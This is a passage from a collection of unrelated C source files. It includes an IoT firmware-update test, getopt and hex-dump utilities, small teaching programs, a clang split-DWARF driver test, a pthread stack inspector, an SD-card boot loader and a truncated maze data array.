IOT_Ioctl(IOTX_IOCTL_SET_HTTP_DOMAIN, (void *)CUSTOME_DOMAIN_HTTP);
#else
int domain_type = IOTX_CLOUD_REGION_SHANGHAI;
IOT_Ioctl(IOTX_IOCTL_SET_DOMAIN, (void *)&domain_type);
#endif
/* Choose Login Method */
int dynamic_register = 0;
IOT_Ioctl(IOTX_IOCTL_SET_DYNAMIC_REGISTER, (void *)&dynamic_register);
/* Create Master Device Resources */
user_example_ctx->master_devid = IOT_Linkkit_Open(IOTX_LINKKIT_DEV_TYPE_MASTER, &master_meta_info);
if (user_example_ctx->master_devid < 0) {
ASSERT_TRUE(user_example_ctx->master_devid >= 0);
}
/* Start Connect Aliyun Server */
res = IOT_Linkkit_Connect(user_example_ctx->master_devid);
if (res < 0) {
ASSERT_TRUE(res >= 0);
}
IOT_Linkkit_Yield(3 * USER_EXAMPLE_YIELD_TIMEOUT_MS);
IOT_Linkkit_Close(user_example_ctx->master_devid);
ASSERT_TRUE(fota_ret < 0);
}
#if 1
CASE(FOTA, case_01)
{
int res = 0;
fota_ret = -1;
user_example_ctx_t *user_example_ctx = user_example_get_ctx();
iotx_linkkit_dev_meta_info_t master_meta_info;
#if !defined(WIFI_PROVISION_ENABLED) || !defined(BUILD_AOS)
set_iotx_info();
#endif
memset(user_example_ctx, 0, sizeof(user_example_ctx_t));
/* Register Callback */
IOT_RegisterCallback(ITE_FOTA, user_fota_event_handler);
memset(&master_meta_info, 0, sizeof(iotx_linkkit_dev_meta_info_t));
memcpy(master_meta_info.product_key, PRODUCT_KEY, strlen(PRODUCT_KEY));
memcpy(master_meta_info.product_secret, PRODUCT_SECRET, strlen(PRODUCT_SECRET));
memcpy(master_meta_info.device_name, DEVICE_NAME, strlen(DEVICE_NAME));
memcpy(master_meta_info.device_secret, DEVICE_SECRET, strlen(DEVICE_SECRET));
/* Choose Login Server, domain should be configured before IOT_Linkkit_Open() */
#if USE_CUSTOME_DOMAIN
IOT_Ioctl(IOTX_IOCTL_SET_MQTT_DOMAIN, (void *)CUSTOME_DOMAIN_MQTT);
IOT_Ioctl(IOTX_IOCTL_SET_HTTP_DOMAIN, (void *)CUSTOME_DOMAIN_HTTP);
#else
int domain_type = IOTX_CLOUD_REGION_SHANGHAI;
IOT_Ioctl(IOTX_IOCTL_SET_DOMAIN, (void *)&domain_type);
#endif
/* Choose Login Method */
int dynamic_register = 0;
IOT_Ioctl(IOTX_IOCTL_SET_DYNAMIC_REGISTER, (void *)&dynamic_register);
/* Create Master Device Resources */
user_example_ctx->master_devid = IOT_Linkkit_Open(IOTX_LINKKIT_DEV_TYPE_MASTER, &master_meta_info);
if (user_example_ctx->master_devid < 0) {
ASSERT_TRUE(user_example_ctx->master_devid >= 0);
}
/* Start Connect Aliyun Server */
res = IOT_Linkkit_Connect(user_example_ctx->master_devid);
if (res < 0) {
ASSERT_TRUE(res >= 0);
}
IOT_Linkkit_Query(user_example_ctx->master_devid, ITM_MSG_REQUEST_FOTA_IMAGE,
(unsigned char *)("app-1.0.0-20180101.1001"), 30);
IOT_Linkkit_Yield(3 * USER_EXAMPLE_YIELD_TIMEOUT_MS);
IOT_Linkkit_Close(user_example_ctx->master_devid);
ASSERT_TRUE(fota_ret < 0);
}
#endif
SUITE(FOTA) = {
ADD_CASE(FOTA, case_01),
ADD_CASE(FOTA, case_02),
ADD_CASE(FOTA, case_03),
ADD_CASE_NULL
};
#endif
#endif /* #ifdef DEVICE_MODEL_ENABLED */
|
the_stack_data/639430.c | #include <stddef.h>
#include <stdio.h>
void hex_dump (const char *desc, const void *addr, const size_t len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char*)addr;
// Output description if given.
if (desc != NULL)
printf ("%s:\n", desc);
// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf (" %s\n", buff);
// Output the offset.
printf (" %04x ", i);
}
// Now the hex code for the specific character.
printf (" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf (" ");
i++;
}
// And print the final ASCII bit.
printf (" %s\n", buff);
}
|
the_stack_data/970.c | /*#include "datatypes.h"*/
/*#include "status.h"*/
/*uint8_t set_status(struct _status_state state){*/
/*if(global_status->latch == 0){*/
/*_reset_status_leds(global_status->led_state);*/
/*global_status = &state; */
/*_set_status_leds(global_status->led_state);*/
/*return 1;*/
/*}*/
/*else{*/
/*return 0;*/
/*}*/
/*}*/
/*void _reset_status_leds(struct _status_led_state state){*/
/*}*/
/*void _set_status_leds(struct _status_led_state state){*/
/*switch(state){*/
/*case NONE:*/
/*break;*/
/*}*/
/*}*/
|
the_stack_data/28262576.c | #include <stdio.h>
int main(void)
{
int N, K;
scanf("%d %d", &N, &K);
int ans = 1;
int i;
for(i=N;i>N-K;i--)
ans *= i;
for(i=1;i<=K;i++)
ans /= i;
printf("%d\n", ans);
}
|
the_stack_data/150144028.c | /* @(#)getopt.c 2.1 88/08/01 4.0 RPCSRC */
/* this is a public domain version of getopt */
/*LINTLIBRARY*/
#ifndef NULL
#define NULL 0
#endif /*NULL*/
#ifndef EOF
#define EOF (-1)
#endif /*EOF*/
#define ERR(s, c) if(opterr){\
extern int strlen(), write();\
char errbuf[2];\
errbuf[0] = c; errbuf[1] = '\n';\
(void) write(2, argv[0], strlen(argv[0]));\
(void) write(2, s, strlen(s));\
(void) write(2, errbuf, 2);}
#define strchr index
extern int strcmp();
extern char *strchr();
int opterr = 1;
int optind = 1;
int optopt;
char *optarg;
int
getopt(argc, argv, opts)
int argc;
char **argv, *opts;
{
static int sp = 1;
register int c;
register char *cp;
if(sp == 1)
if(optind >= argc ||
argv[optind][0] != '-' || argv[optind][1] == '\0')
return(EOF);
else if(strcmp(argv[optind], "--") == NULL) {
optind++;
return(EOF);
}
optopt = c = argv[optind][sp];
if(c == ':' || (cp=strchr(opts, c)) == NULL) {
ERR(": unknown option, -", c);
if(argv[optind][++sp] == '\0') {
optind++;
sp = 1;
}
return('?');
}
if(*++cp == ':') {
if(argv[optind][sp+1] != '\0')
optarg = &argv[optind++][sp+1];
else if(++optind >= argc) {
ERR(": argument missing for -", c);
sp = 1;
return('?');
} else
optarg = argv[optind++];
sp = 1;
} else {
if(argv[optind][++sp] == '\0') {
sp = 1;
optind++;
}
optarg = NULL;
}
return(c);
}
|
the_stack_data/98574541.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned int i;
unsigned int seed;
printf("%s", "Enter seed: ");
scanf("%u", &seed);
srand(seed);
for (i = 1; i <= 10; ++i)
{
printf("%10d", 1 + (rand() % 6 ) );
if (i % 5 == 0)
{
puts("");
}
}
} |
the_stack_data/36075336.c | #include <stdio.h>
void fred()
{
printf("In fred()\n");
goto done;
printf("In middle\n");
done:
printf("At end\n");
}
void joe()
{
int b = 5678;
printf("In joe()\n");
{
int c = 1234;
printf("c = %d\n", c);
goto outer;
printf("uh-oh\n");
}
outer:
printf("done\n");
}
void henry()
{
int a;
printf("In henry()\n");
goto inner;
{
int b;
inner:
b = 1234;
printf("b = %d\n", b);
}
printf("done\n");
}
void main()
{
fred();
joe();
henry();
}
|
the_stack_data/151704781.c | #include<stdio.h>
void main()
{
int marks;
printf(" ENTER YOUR MARKS ");
scanf("%d" ,&marks);
if(marks<0 || marks>100)
{
printf("WRONG ENTRY");
}
else if(marks<50)
{
printf("GRADE F");
}
else if (marks>=50 && marks<60)
{
printf("GRADE D");
}
else if(marks>=60 && marks<70)
{
printf("GRADE c");
}
else if(marks>=70 && marks<80)
{
printf("GRADE B");
}
else if(marks>=80 && marks<90)
{
printf("GRADE A");
}
else
{
printf("GRADE A+");
}
}
|
the_stack_data/934156.c | #include<stdio.h>
int rec(int);
int main(){
int fact,a;
printf("Enter any number: ");
scanf("%d ",&a);
fact=rec(a);
printf("Factorial value =%d\n",fact);
return 0;
}
int rec(int x)
{
int f;
if(x==1)
return (1);
else
f=x*rec(x-1);
return (f);
} |
the_stack_data/141835.c | /*
* Copyright (c) 2005-2017 National Technology & Engineering Solutions
* of Sandia, LLC (NTESS). Under the terms of Contract DE-NA0003525 with
* NTESS, the U.S. Government retains certain rights in this software.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of NTESS nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
/* update - fills double vec1 with vec2 + alpha*vec3 over range*/
void update(double *vec1, int beg, int end, double *vec2, double fac, double *vec3)
{
int i;
vec1 += beg;
vec2 += beg;
vec3 += beg;
for (i = end - beg + 1; i; i--) {
(*vec1++) = (*vec2++) + fac * (*vec3++);
}
}
/* update - fills float vec1 with vec2 + alpha*vec3 over range*/
void update_float(float *vec1, int beg, int end, float *vec2, float fac, float *vec3)
{
int i;
vec1 += beg;
vec2 += beg;
vec3 += beg;
for (i = end - beg + 1; i; i--) {
(*vec1++) = (*vec2++) + fac * (*vec3++);
}
}
|
the_stack_data/234518228.c | #define SD_BASE 0x800100000b000000
unsigned int swap4(unsigned int val)
{
unsigned int ret;
ret = (val & 0xff) << 24;
ret |= (val & 0xff00) << 8;
ret |= (val >> 8) & 0xff00;
ret |= (val >> 24) & 0xff;
return ret;
}
void read_block(unsigned int block)
{
unsigned short asr;
*(unsigned int *)(SD_BASE + 0x22c) = swap4(block << 9);
*(unsigned short *)(SD_BASE + 0x230) = 0x1100;
do {
asr = *(unsigned short *)(SD_BASE + 0x234);
} while (asr & 0x0400);
}
void boot()
{
unsigned int start;
unsigned int count;
unsigned short asr;
unsigned long long *dst;
asr = *(unsigned short *)(SD_BASE + 0x234);
if ((asr & 0x0200) == 0)
return;
read_block(0);
start = *(unsigned int *)(SD_BASE + 0);
count = *(unsigned int *)(SD_BASE + 4);
dst = (unsigned long long *)0x8000000000000000;
while (count--) {
unsigned long long *src;
int i;
read_block(start++);
src = (unsigned long long *)SD_BASE;
for (i = 0; i < 512/sizeof(long long); i++)
*dst++ = *src++;
}
((void (*)())0x8000000000000000)();
}
|
the_stack_data/280516.c | #include <stdio.h>
int main() {
int time[3];
int N, resto, quociente;
scanf("%d", &N);
//Horas
quociente = N/3600;
resto = N%3600;
time[0] = quociente;
//Minutos
quociente = resto/60;
time[1] = quociente;
//Segundos
resto = resto%60;
time[2] = resto;
printf("%d:%d:%d", time[0], time[1],time[2]);
printf("\n");
return 0;
} |
the_stack_data/1037819.c | /*************************************************************************
> File Name: state_machine2.c
> Brief:
> Author: Chen Kai([email protected])
> Home: http://www.chenkai.me
> Created Time: 四 5/11 11:34:03 2017
************************************************************************/
#include<stdio.h>
#include<stdlib.h>
int main(void)
{
enum states {
before, inside, after
} state;
int c;
state = before;
while((c = getchar()) != EOF) {
if(c == '\n') {
putchar('\n');
state = before;
} else
switch(state) {
case before:
if(c != ' ') {
putchar(c);
state = inside;
}
break;
case inside:
if(c == ' ') {
state = after;
} else {
putchar(c);
}
break;
case after:
break;
}
}
return 0;
}
|
the_stack_data/129277.c | /* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned long input[1] , unsigned long output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
void megaInit(void)
{
{
}
}
void RandomFunc(unsigned long input[1] , unsigned long output[1] )
{
unsigned long state[1] ;
unsigned long local1 ;
char copy12 ;
{
state[0UL] = (input[0UL] | 51238316UL) >> 3UL;
local1 = 0UL;
while (local1 < 0UL) {
if (state[0UL] > local1) {
if (state[0UL] > local1) {
state[local1] = state[0UL] >> ((state[0UL] & 7UL) | 1UL);
}
} else {
copy12 = *((char *)(& state[local1]) + 7);
*((char *)(& state[local1]) + 7) = *((char *)(& state[local1]) + 5);
*((char *)(& state[local1]) + 5) = copy12;
}
local1 += 2UL;
}
output[0UL] = (state[0UL] | 501610228UL) ^ 537133824UL;
}
}
int main(int argc , char *argv[] )
{
unsigned long input[1] ;
unsigned long output[1] ;
int randomFuns_i5 ;
unsigned long randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 1038220791UL) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%lu\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
|
the_stack_data/151705409.c | #include <stdio.h>
#include <stdlib.h>
int
bar(void) {
(void)printf("Look, Ma: no main!\n");
exit(EXIT_FAILURE);
}
int
foo(void) {
(void)printf("Who needs 'main'?\n");
return EXIT_FAILURE;
}
int
main(int argc, char **argv) {
printf("main is at 0x%lX\n", (unsigned long)&main);
}
|
the_stack_data/93888942.c | #include <stdio.h>
#include <stdlib.h>
/**
* \brief Determines the largest
* of two float numbers.
*
* \param[in] x First float number.
* \param[in] y Second float number.
*
* \return The largest of the two
* float numbers.
*/
float fmaxf(float x, float y);
int main(void)
{
printf("Non compliant way of "
"documenting function "
"return./n");
return EXIT_SUCCESS;
}
|
the_stack_data/106308.c | /// Test -gsplit-dwarf and -gsplit-dwarf={split,single}.
/// Interaction with -g (-g2).
// RUN: %clang -### -c -target x86_64 -g -gsplit-dwarf %s 2>&1 | FileCheck %s --check-prefixes=NOINLINE,SPLIT
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf -g %s 2>&1 | FileCheck %s --check-prefixes=NOINLINE,SPLIT
// RUN: %clang -### -c -target x86_64 -g2 -gsplit-dwarf %s 2>&1 | FileCheck %s --check-prefixes=NOINLINE,SPLIT
/// -gsplit-dwarf=split is equivalent to -gsplit-dwarf.
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=split -g %s 2>&1 | FileCheck %s --check-prefixes=NOINLINE,SPLIT
// INLINE: "-fsplit-dwarf-inlining"
// NOINLINE-NOT: "-fsplit-dwarf-inlining"
// SPLIT: "-debug-info-kind=limited"
// SPLIT-SAME: "-ggnu-pubnames"
// SPLIT-SAME: "-split-dwarf-file" "split-debug.dwo" "-split-dwarf-output" "split-debug.dwo"
// RUN: %clang -### -c -target wasm32 -gsplit-dwarf -g %s 2>&1 | FileCheck %s --check-prefix=SPLIT
// RUN: %clang -### -c -target amdgcn-amd-amdhsa -gsplit-dwarf -g %s 2>&1 | FileCheck %s --check-prefix=SPLIT
/// -gsplit-dwarf is a no-op on a non-ELF platform.
// RUN: %clang -### -c -target x86_64-apple-darwin -gsplit-dwarf -g %s 2>&1 | FileCheck %s --check-prefix=DARWIN
// DARWIN: "-debug-info-kind=standalone"
// DARWIN-NOT: "-split-dwarf
/// -gsplit-dwarf is a no-op if no -g is specified.
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf %s 2>&1 | FileCheck %s --check-prefix=G0
/// ... unless -fthinlto-index= is specified.
// RUN: echo > %t.bc
// RUN: %clang -### -c -target x86_64 -fthinlto-index=dummy -gsplit-dwarf %t.bc 2>&1 | FileCheck %s --check-prefix=IR
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf -x ir %t.bc 2>&1 | FileCheck %s --check-prefix=IR
// IR-NOT: "-debug-info-kind=
// IR: "-ggnu-pubnames"
// IR-SAME: "-split-dwarf-file" "{{.*}}.dwo" "-split-dwarf-output" "{{.*}}.dwo"
/// -gno-split-dwarf disables debug fission.
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf -g -gno-split-dwarf %s 2>&1 | FileCheck %s --check-prefix=NOSPLIT
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=single -g -gno-split-dwarf %s 2>&1 | FileCheck %s --check-prefix=NOSPLIT
// RUN: %clang -### -c -target x86_64 -gno-split-dwarf -g -gsplit-dwarf %s 2>&1 | FileCheck %s --check-prefixes=NOINLINE,SPLIT
// NOSPLIT: "-debug-info-kind=limited"
// NOSPLIT-NOT: "-ggnu-pubnames"
// NOSPLIT-NOT: "-split-dwarf
/// Test -gsplit-dwarf=single.
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=single -g %s 2>&1 | FileCheck %s --check-prefix=SINGLE
// SINGLE: "-debug-info-kind=limited"
// SINGLE: "-split-dwarf-file" "split-debug.o"
// SINGLE-NOT: "-split-dwarf-output"
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=single -g -o %tfoo.o %s 2>&1 | FileCheck %s --check-prefix=SINGLE_WITH_FILENAME
// SINGLE_WITH_FILENAME: "-split-dwarf-file" "{{.*}}foo.o"
// SINGLE_WITH_FILENAME-NOT: "-split-dwarf-output"
/// Without -c, clang performs linking as well. The output is unchanged.
// RUN: %clang -### -target x86_64-unknown-linux-gnu -gsplit-dwarf -g %s -o ignore.d 2>&1 | FileCheck %s --check-prefix=SPLIT
/// -fsplit-dwarf-inlining
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=split -g -fsplit-dwarf-inlining %s 2>&1 | FileCheck %s --check-prefixes=INLINE,SPLIT
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=split -g -gno-pubnames %s 2>&1 | FileCheck %s --check-prefixes=NOPUBNAMES
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=split -g -gno-gnu-pubnames %s 2>&1 | FileCheck %s --check-prefixes=NOPUBNAMES
// NOPUBNAMES: "-debug-info-kind=limited"
// NOPUBNAMES-NOT: "-ggnu-pubnames"
// NOPUBNAMES-SAME: "-split-dwarf-file" "split-debug.dwo" "-split-dwarf-output" "split-debug.dwo"
/// Invoke objcopy if not using the integrated assembler.
// RUN: %clang -### -c -target x86_64-unknown-linux-gnu -fno-integrated-as -gsplit-dwarf -g %s 2>&1 | FileCheck %s --check-prefix=OBJCOPY
// OBJCOPY: objcopy{{(.exe)?}}" "--extract-dwo"
// OBJCOPY-NEXT: objcopy{{(.exe)?}}" "--strip-dwo"
/// ... but not for assembly output.
// RUN: %clang -### -S -target x86_64-unknown-linux-gnu -fno-integrated-as -gsplit-dwarf -g %s 2>&1 | FileCheck %s --check-prefix=NOOBJCOPY
// NOOBJCOPY-NOT: objcopy"
/// Interaction with -g0.
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf -g0 -### %s 2>&1 | FileCheck %s --check-prefix=G0
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=single -g0 %s 2>&1 | FileCheck %s --check-prefix=G0
// RUN: %clang -### -c -target x86_64 -g0 -gsplit-dwarf %s 2>&1 | FileCheck %s --check-prefixes=G0
// RUN: %clang -### -c -target x86_64 -g0 -gsplit-dwarf=single %s 2>&1 | FileCheck %s --check-prefix=G0
// RUN: %clang -### -c -target x86_64 -gsplit-dwarf=single -g0 -fsplit-dwarf-inlining %s 2>&1 | FileCheck %s --check-prefix=G0
// G0-NOT: "-debug-info-kind=
// G0-NOT: "-split-dwarf-
/// Interaction with -g1 (-gmlt).
// RUN: %clang -### -S -target x86_64 -gsplit-dwarf -g1 %s 2>&1 | FileCheck %s --check-prefix=G1_WITH_SPLIT
// RUN: %clang -### -S -target x86_64 -gsplit-dwarf -g1 -fno-split-dwarf-inlining %s 2>&1 | FileCheck %s --check-prefix=G1_WITH_SPLIT
// RUN: %clang -### -S -target x86_64 -gmlt -gsplit-dwarf -fno-split-dwarf-inlining %s 2>&1 | FileCheck %s --check-prefix=G1_WITH_SPLIT
// G1_WITH_SPLIT: "-debug-info-kind=line-tables-only"
// G1_WITH_SPLIT: "-split-dwarf-file"
// G1_WITH_SPLIT: "-split-dwarf-output"
// RUN: %clang -### -S -target x86_64 -gsplit-dwarf -g1 -fsplit-dwarf-inlining %s 2>&1 | FileCheck %s --check-prefix=G1_NOSPLIT
// G1_NOSPLIT: "-debug-info-kind=line-tables-only"
// G1_NOSPLIT-NOT: "-split-dwarf-file"
// G1_NOSPLIT-NOT: "-split-dwarf-output"
|
the_stack_data/31388305.c | /* infinite loop in a for loop body*/
void foo()
{
int i;
for(i=0;i!=5;i++) {
more:
if (i == 3)
printf("%d",i);
goto more;
}
printf("Exit with %d",i);
}
|
the_stack_data/90766150.c | #define _GNU_SOURCE /* To get pthread_getattr_np() declaration */
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
// static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
void print_error_msg(const char *idx_str, const char *msg, int ret)
{
switch (ret)
{
case EAGAIN: // `pthread_create`: system-imposed limit, or insufficient resources.
fprintf(stderr, "[%s] %s: EAGAIN\n", idx_str, msg);
break;
case EPERM: // `pthread_create`: no permission to set params in `attr`.
fprintf(stderr, "[%s] %s: EPERM\n", idx_str, msg);
break;
case EDEADLK: // `pthread_join`: deadlock detected.
fprintf(stderr, "[%s] %s: EDEADLK\n", idx_str, msg);
break;
case EINVAL: // `pthread_create` or `pthread_join` or `pthread_attr_getstack`: invalid value.
fprintf(stderr, "[%s] %s: EINVAL\n", idx_str, msg);
break;
case ESRCH: // `pthread_join`: no thread id found.
fprintf(stderr, "[%s] %s: ESRCH\n", idx_str, msg);
break;
case ENOMEM: // `pthread_getattr_np`: insufficient memory.
fprintf(stderr, "[%s] %s: ENOMEM\n", idx_str, msg);
break;
default:
fprintf(stderr, "[%s] %s: %d\n", idx_str, msg, ret);
break;
}
}
void *entry_point(void *arg) {
int ret = 0;
pthread_attr_t attr;
size_t stack_size, guard_size;
void *stack_addr;
char *idx_str = (char *) arg;
pthread_t thread = pthread_self();
// try to get the attribute of the current thread.
if ( (ret=pthread_getattr_np(thread, &attr)) != 0 )
{
print_error_msg(idx_str, "pthread_getattr_np failed", ret);
return NULL;
}
// get the guard size (unit: byte)
if ( (ret=pthread_attr_getguardsize(&attr, &guard_size)) != 0 )
{
print_error_msg(idx_str, "pthread_attr_getguardsize failed", ret);
}
// get the stack attribute values
if ( (ret=pthread_attr_getstack(&attr, &stack_addr, &stack_size)) !=0 )
{
print_error_msg(idx_str, "pthread_attr_getstack failed", ret);
}
// print the stack information
printf("Thread %s (id=%lu) stack:\n", idx_str, thread);
printf("\t start address\t= %p\n", stack_addr);
printf("\t end address \t= %p\n", stack_addr + stack_size);
printf("\t stack size \t= %.2f MB\n", stack_size / 1024.0 / 1024.0);
printf("\t guard size \t= %lu B\n", guard_size);
return NULL;
}
int main(int argc, char *argv[]) {
int ret = 0;
pthread_t p1, p2;
// run the routine in main thread
entry_point("main");
// run the routine in thread p1
if ( (ret=pthread_create(&p1, NULL, entry_point, "p1")) != 0 )
{
print_error_msg("p1", "pthread_create failed", ret);
return ret;
}
if ( (ret=pthread_join(p1, NULL)) != 0 )
{
print_error_msg("p1", "pthread_join failed", ret);
}
// run the routine in thread p2
if ( (ret=pthread_create(&p2, NULL, entry_point, "p2")) != 0 )
{
print_error_msg("p2", "pthread_create failed", ret);
return ret;
}
if ( (ret=pthread_join(p2, NULL)) != 0 )
{
print_error_msg("p2", "pthread_join failed", ret);
}
return ret;
}
|
the_stack_data/184518072.c | #include <assert.h>
#include <math.h>
int main()
{
_dclass();
assert(0);
return 0;
}
|
the_stack_data/48576253.c |
/* text version of maze 'mazefiles/binary/c00d1p.maz'
generated by mazetool (c) Peter Harrison 2018
o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o
| | | |
o o o---o---o o---o---o---o---o o---o---o---o---o---o o
| | | | | |
o o o o---o---o o---o o---o---o---o o---o---o---o o
| | | | | | | |
o o o o o---o o o---o---o---o o o---o---o---o o
| | | | | |
o o---o---o---o---o---o---o---o---o o---o o---o---o o---o
| | | |
o o---o o---o---o---o o---o---o---o---o---o---o---o o o
| | | | | |
o o---o---o o---o---o---o---o---o---o---o---o o o o o
| | | | | | | |
o o o---o---o o---o o---o---o o o---o o o---o o
| | | | | | | | | | |
o o o---o---o---o o o o o o o o o o---o o
| | | | | | | | |
o o o---o---o o---o---o---o---o o o o---o---o o o
| | | | | | | |
o o o---o o---o o---o---o o---o---o o---o---o o o
| | | | | | | |
o o o---o---o o o o---o---o o o---o---o---o o o
| | | | |
o o---o---o o---o---o---o---o---o o o---o---o---o---o o
| | | | | | | | |
o o o o---o o o o o---o---o---o---o---o---o---o o
| | | | | | | | |
o o o---o---o o o o o---o o o---o---o---o o---o
| | | | | |
o o o---o---o o o---o o---o---o---o o---o---o---o o
| | | | |
o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o
*/
int c00d1p_maz[] ={
0x0E, 0x0A, 0x0A, 0x08, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x0A, 0x08, 0x08, 0x0A, 0x0A, 0x0B,
0x0C, 0x08, 0x0A, 0x01, 0x0C, 0x0A, 0x08, 0x0A, 0x08, 0x09, 0x0D, 0x05, 0x04, 0x0A, 0x08, 0x09,
0x05, 0x05, 0x0C, 0x03, 0x05, 0x0D, 0x07, 0x0D, 0x05, 0x05, 0x04, 0x01, 0x06, 0x08, 0x03, 0x05,
0x05, 0x05, 0x05, 0x0E, 0x01, 0x04, 0x09, 0x05, 0x07, 0x04, 0x01, 0x05, 0x0C, 0x01, 0x0D, 0x05,
0x06, 0x00, 0x02, 0x0B, 0x04, 0x03, 0x06, 0x01, 0x0C, 0x01, 0x05, 0x05, 0x05, 0x07, 0x04, 0x01,
0x0C, 0x02, 0x0A, 0x0B, 0x04, 0x0A, 0x09, 0x06, 0x03, 0x07, 0x07, 0x07, 0x06, 0x08, 0x01, 0x05,
0x05, 0x0E, 0x0A, 0x09, 0x04, 0x09, 0x05, 0x0C, 0x0A, 0x09, 0x0C, 0x09, 0x0C, 0x03, 0x07, 0x05,
0x04, 0x08, 0x0A, 0x01, 0x05, 0x05, 0x05, 0x04, 0x09, 0x05, 0x05, 0x05, 0x05, 0x0C, 0x09, 0x05,
0x05, 0x05, 0x0D, 0x07, 0x05, 0x04, 0x01, 0x06, 0x03, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x07,
0x05, 0x04, 0x03, 0x0E, 0x02, 0x01, 0x06, 0x08, 0x0A, 0x03, 0x05, 0x04, 0x03, 0x05, 0x04, 0x09,
0x07, 0x04, 0x09, 0x0C, 0x0A, 0x01, 0x0E, 0x02, 0x0A, 0x09, 0x05, 0x05, 0x0E, 0x03, 0x05, 0x05,
0x0C, 0x01, 0x05, 0x05, 0x0D, 0x04, 0x08, 0x0A, 0x0B, 0x05, 0x07, 0x04, 0x08, 0x08, 0x03, 0x05,
0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x0C, 0x0A, 0x02, 0x09, 0x05, 0x05, 0x05, 0x0D, 0x05,
0x05, 0x07, 0x05, 0x05, 0x05, 0x07, 0x05, 0x04, 0x08, 0x0A, 0x01, 0x07, 0x05, 0x05, 0x05, 0x05,
0x05, 0x0C, 0x01, 0x07, 0x04, 0x0A, 0x02, 0x03, 0x05, 0x0E, 0x02, 0x08, 0x01, 0x07, 0x05, 0x05,
